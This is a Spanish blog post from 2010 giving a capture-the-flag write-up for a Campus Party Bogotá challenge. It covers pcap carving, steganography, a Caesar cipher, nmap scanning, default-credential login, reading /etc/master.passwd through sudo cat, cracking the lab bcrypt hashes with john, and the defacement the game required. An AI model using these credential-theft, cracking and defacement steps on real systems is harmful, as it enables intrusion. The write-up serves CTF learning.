miércoles, 7 de julio de 2010

Campus Party Bogota 2010 -- CTF Avanzado

Update 1 (20100709): la solucion oficial ya esta en el blog de nonr00t.

Llegue varias horas tarde a este reto, porque estaba en el concierto de 1280almas en jackass… alegria!!!

Navikator me dijo que la info estaba en:
http://gururea.net/wargame/ y arrancamos de una a jugar con sparkid y neoecos…

En la pagina encontramos una captura de red: "RETOCTF.pcap", un archivo de pistas: "Pistas.txt", y un enlace a cgi-bin/ (este enlace era puro despiste… le perdi varias horas…)

El contenido del archivo de pistas era:
Pistas 
1. 186.113.242.0/24
2. Descarga el archivo RETOCTF.pcap
(no tengo logs, asi que va de memoria…)

Lo primero que hice fue usar foremost (una herramienta de carving) en el pcap:

rmolina@maybe-failed:~$ foremost RETOCTF.pcap
Processing: RETOCTF.pcap
|*|

rmolina@maybe-failed:~$ ls -R output/
output/:
audit.txt jpg

output/jpg:
00000011.jpg

Ese
00000011.jpg resulta ser un codigo QR:


Que se
resuelve (con el telefono de sparkid) como "Pista: Capture The Flag"...

Aqui se agotan las ideas por un rato hasta llegar a que se trate de
esteganografia, asi que probamos con steghide:

rmolina@maybe-failed:~$ steghide --extract --stegofile output/jpg/00000011.jpg
Anotar salvoconducto: (aqui probamos el password)
steghide: �no pude extraer ning�n dato con ese salvoconducto!

(parece que la traduccion necesita un iconv,
tengo que recordar reportarlo)

De la pista, probamos "
Capture The Flag", y no funciona…
probamos entonces con "
CTF" y ya esta… obtenemos un archivo readme…

rmolina@maybe-failed:~$ file readme
readme: gzip compressed data, was "texto.txt", from Unix, last modified: Fri Jul 2 15:58:32 2010

luego de renombrar y extraer, tenemos un texto.txt que dice:

Mv mabi uiycqvi ycm vw ma cv Tqvcf g vw ma cv Eqvlwea bmvmuwa 10
cacizqwa kzmilwa, ikkmlm kwv cvw lm mttwa.

segundos despues, tenemos que era un cifrado Cesar, y el texto original:

en esta maquina que no es un linux y no es un windows tenemos 10 usuarios creados, accede con uno de ellos.

(por cierto, este
recipe en python lo resuelve, aun sin una tabla de frecuencias para el español)

bueno… en este punto fue solo barrer la red con nmap usando el rango que nos daban en la pista… ahi encontrabamos un OpenBSD que era la maquina objetivo…

para lograr entrar se podia uno gastar un rato… pero finalmente terminabas por probar:
usuario1:usuario1 :)

una vez dentro, y para cualquier usuario que probemos, nos salia un mensaje como este:

Solo Uno De nosotrOs sabe leer

Plop! pero bueno… por las mayusculas sabemos que la cosa va por sudo…

uno por uno, nos logueamos con cada usuario y probamos a hacer '
sudo su -'…
para la mayoria, obtenemos el error tipico diciéndonos que el usuario no esta en la tabla de sudoers... pero para el usuario4 tenemos otro error, informandonos que usuario4 no tiene permitido usar 'su' via sudo...

probando varios usuarios, vemos que podemos usar cat :) y ya tenemos privilegios de lectura!

(para este momento, ya se me pasaba la borrachera y me empezaba la resaca)

despues de perder mucho tiempo por el lado del cgi-bin, finalmente me he pescado el /etc/master.passwd:

root:$2a$08$4q.rSm3naJ4ySoFYwCVRkuYq9Thj0TIS23Z2PG9zvkVmBPmmyeBLe:0:0:daemon:0:0:Charlie &:/root:/bin/ksh
daemon:*:1:1::0:0:The devil himself:/root:/sbin/nologin
operator:*:2:5::0:0:System &:/operator:/sbin/nologin
bin:*:3:7::0:0:Binaries Commands and Source,,,:/:/sbin/nologin
smmsp:*:25:25::0:0:Sendmail Message Submission Program:/nonexistent:/sbin/nologin
popa3d:*:26:26::0:0:POP3 Server:/var/empty:/sbin/nologin
sshd:*:27:27::0:0:sshd privsep:/var/empty:/sbin/nologin
_portmap:*:28:28::0:0:portmap:/var/empty:/sbin/nologin
_identd:*:29:29::0:0:identd:/var/empty:/sbin/nologin
_rstatd:*:30:30::0:0:rpc.rstatd:/var/empty:/sbin/nologin
_rusersd:*:32:32::0:0:rpc.rusersd:/var/empty:/sbin/nologin
_fingerd:*:33:33::0:0:fingerd:/var/empty:/sbin/nologin
_x11:*:35:35::0:0:X Server:/var/empty:/sbin/nologin
_kdc:*:59:59::0:0:Kerberos Server:/var/empty:/sbin/nologin
_kadmin:*:60:60::0:0:Kerberos Admin Server:/var/empty:/sbin/nologin
_spamd:*:62:62::0:0:Spam Daemon:/var/empty:/sbin/nologin
uucp:*:66:1::0:0:UNIX-to-UNIX Copy:/var/spool/uucppublic:/usr/libexec/uucp/uucico
www:*:67:67::0:0:HTTP Server:/var/www:/sbin/nologin
_isakmpd:*:68:68::0:0:isakmpd privsep:/var/empty:/sbin/nologin
named:*:70:70::0:0:BIND Name Service Daemon:/var/named:/sbin/nologin
proxy:*:71:71::0:0:Proxy Services:/nonexistent:/sbin/nologin
_syslogd:*:73:73::0:0:Syslog Daemon:/var/empty:/sbin/nologin
_pflogd:*:74:74::0:0:pflogd privsep:/var/empty:/sbin/nologin
_bgpd:*:75:75::0:0:BGP Daemon:/var/empty:/sbin/nologin
_tcpdump:*:76:76::0:0:tcpdump privsep:/var/empty:/sbin/nologin
_dhcp:*:77:77::0:0:DHCP programs:/var/empty:/sbin/nologin
_mopd:*:78:78::0:0:MOP Daemon:/var/empty:/sbin/nologin
_tftpd:*:79:79::0:0:TFTP Daemon:/var/empty:/sbin/nologin
_rbootd:*:80:80::0:0:rbootd Daemon:/var/empty:/sbin/nologin
_afs:*:81:81::0:0:afs Daemon:/var/empty:/sbin/nologin
_ppp:*:82:82::0:0:PPP utilities:/var/empty:/sbin/nologin
_ntp:*:83:83::0:0:NTP Daemon:/var/empty:/sbin/nologin
_ftp:*:84:84::0:0:FTP Daemon:/var/empty:/sbin/nologin
_ospfd:*:85:85::0:0:OSPF Daemon:/var/empty:/sbin/nologin
_hostapd:*:86:86::0:0:HostAP Daemon:/var/empty:/sbin/nologin
_dvmrpd:*:87:87::0:0:DVMRP Daemon:/var/empty:/sbin/nologin
_ripd:*:88:88::0:0:RIP Daemon:/var/empty:/sbin/nologin
_relayd:*:89:89::0:0:Relay Daemon:/var/empty:/sbin/nologin
_ospf6d:*:90:90::0:0:OSPF6 Daemon:/var/empty:/sbin/nologin
_snmpd:*:91:91::0:0:SNMP Daemon:/var/empty:/sbin/nologin
_rtadvd:*:92:92::0:0:IPv6 Router Advertisement Daemon:/var/empty:/sbin/nologin
_ypldap:*:93:93::0:0:YP to LDAP Daemon:/var/empty:/sbin/nologin
_btd:*:94:94::0:0:Bluetooth Daemon:/var/empty:/sbin/nologin
_smtpd:*:95:95::0:0:SMTP Daemon:/var/empty:/sbin/nologin
_rwalld:*:96:96::0:0:rpc.rwalld:/var/empty:/sbin/nologin
_nsd:*:97:97::0:0:NSD Daemon:/var/empty:/sbin/nologin
_ldpd:*:98:98::0:0:LDP Daemon:/var/empty:/sbin/nologin
nobody:*:32767:32767::0:0:Unprivileged user for NFS:/nonexistent:/sbin/nologin
usuario1:$2a$06$OzPsg4Z0Ux25CZi4RRNmMuMvPmvyhgbKtd.vES87xPz1Q3jJUiHwy:1000:10::0:0::/home/usuario1:/bin/ksh
usuario2:$2a$06$HiWYDvjhToOwd33GJXPiG.tNT1ZNpJdZF9BnDt.Xyw7vFkGUHvXFS:1001:10::0:0::/home/usuario2:/bin/ksh
usuario3:$2a$06$60RyCX6ITAPK0eRoObTnu.16nVtZl1j70lYFKkZPjwVT7MirSTA0K:1002:10::0:0::/home/usuario3:/bin/ksh
usuario4:$2a$06$h3te5J3wQJNsBlK4d0X.cuu7WZZnlXSCmcBtKc7Gyxfj70thVeRW2:1003:10::0:0::/home/usuario4:/bin/ksh
usuario5:$2a$06$TGDBqG0RY1WJme6hZS2FmO.TdIQBF/S5lgsZcdMovPy3hVAXHNbx.:1004:10::0:0::/home/usuario5:/bin/ksh
usuario6:$2a$06$M8Tpl7ZyLWVOI3KGYDU.fuA/fvWN5Cu6T5s2egPYWtgNnTkFC1XZm:1005:10::0:0::/home/usuario6:/bin/ksh
usuario7:$2a$06$lnaMuP0i1MBhokUtNCuxjuFRGsb0NxK/pjQGnxKPN.QyDjwRDNPhW:1006:10::0:0::/home/usuario7:/bin/ksh
usuario8:$2a$06$3ihw9pzrWUueWUprMG8oPO2FIrpShbMrJx.aqQVi4TwOs2TnhpyP6:1007:10::0:0::/home/usuario8:/bin/ksh
usuario9:$2a$06$9VW6RDRwQYuKKAsGn8O0Ze8lUxDRa0SuUn/Hw9fE5sOKvjPetyE9S:1008:10::0:0::/home/usuario9:/bin/ksh
usuario10:$2a$06$VkwXUzjhdQO12zhLiEr/5epnCs.QOEjunGz3NIsMb3aRERh4bPX86:1009:10::0:0::/home/usuario10:/bin/ksh

y usando
john -single, se rompe el password de root :P

rmolina@maybe-failed:~$ /usr/sbin/john -single master.passwd
Loaded 11 password hashes with 11 different salts (OpenBSD Blowfish [32/32])
usuario3 (usuario3)
usuario9 (usuario9)
usuario4 (usuario4)
usuario10 (usuario10)
usuario2 (usuario2)
usuario1 (usuario1)
usuario7 (usuario7)
usuario8 (usuario8)
usuario6 (usuario6)
usuario5 (usuario5)
usuario4 (root)
guesses: 11 time: 0:00:00:01 100% c/s: 28.85 trying: usuario4

plop! el password de root era 'usuario4' :P

luego de un par de minutos intentando entrar… vemos en el /etc/ssh/sshd_config, que esta puesto un AllowUsers (thx NeoEcoS)
AllowUsers root@127.0.0.1 usuario*
y bueno… un ssh local como root… y finalmente la bandera es mia: /root/.flag.txt

en el flag nos daban el objetivo final, un website defacement incluyendo el nombre del ganador…

editar el index.html … corregir los permisos del /var/www/ … apachectl restart … y este juego ya se acabo: fotos, charla de solucion, premiacion, y me voy pa la
ekoparty!!! :)

Update 2 (20100709): comentarios
  1. el juego estuvo bueno, pero muy corto: empece a jugar a las 2am y a las 4am ya leía con sudo… de ahi como hasta las 6am (hora en que se cayo la maquina) fue solo darle al cgi-bin/ y luego dormir… cuando desperté (a eso de las 9am) ya había mucha gente en la maquina… me dolía la cabeza, ya no había acceso a cgi-bin y le insisti mucho a tratar de ganarlo nuevamente, tambien tuve que volver a revisar todo por miedo a que hubieran cambiado algo… y me toco correr bastante… (debí pensar mucho antes en el master.passwd)… termine a eso del mediodia… tendría que haber estado listo para las 5am máximo
  2. lo de la pista del sudo no me cuadramejoraría sin esa pista eventualmente había que probarlo… no hacia falta esa pista… no… y al quitarla se habría alargado el tiempo de juego un poco… y me dejaría una sensación de mayor fluidez… porque el juego es llegar a la bandera primero, no cazar pistas… la carrera de observación estaba en otro lado
  3. ese password del root también es una putada… se le podía trastear un poquito mas, ponernos a generar un diccionario a partir de la pagina de la campus o algo así… no se… en todo caso, entiendo que el juego se diseño e implemento como en treinta minutos, así que kudos por eso

No hay comentarios:

Publicar un comentario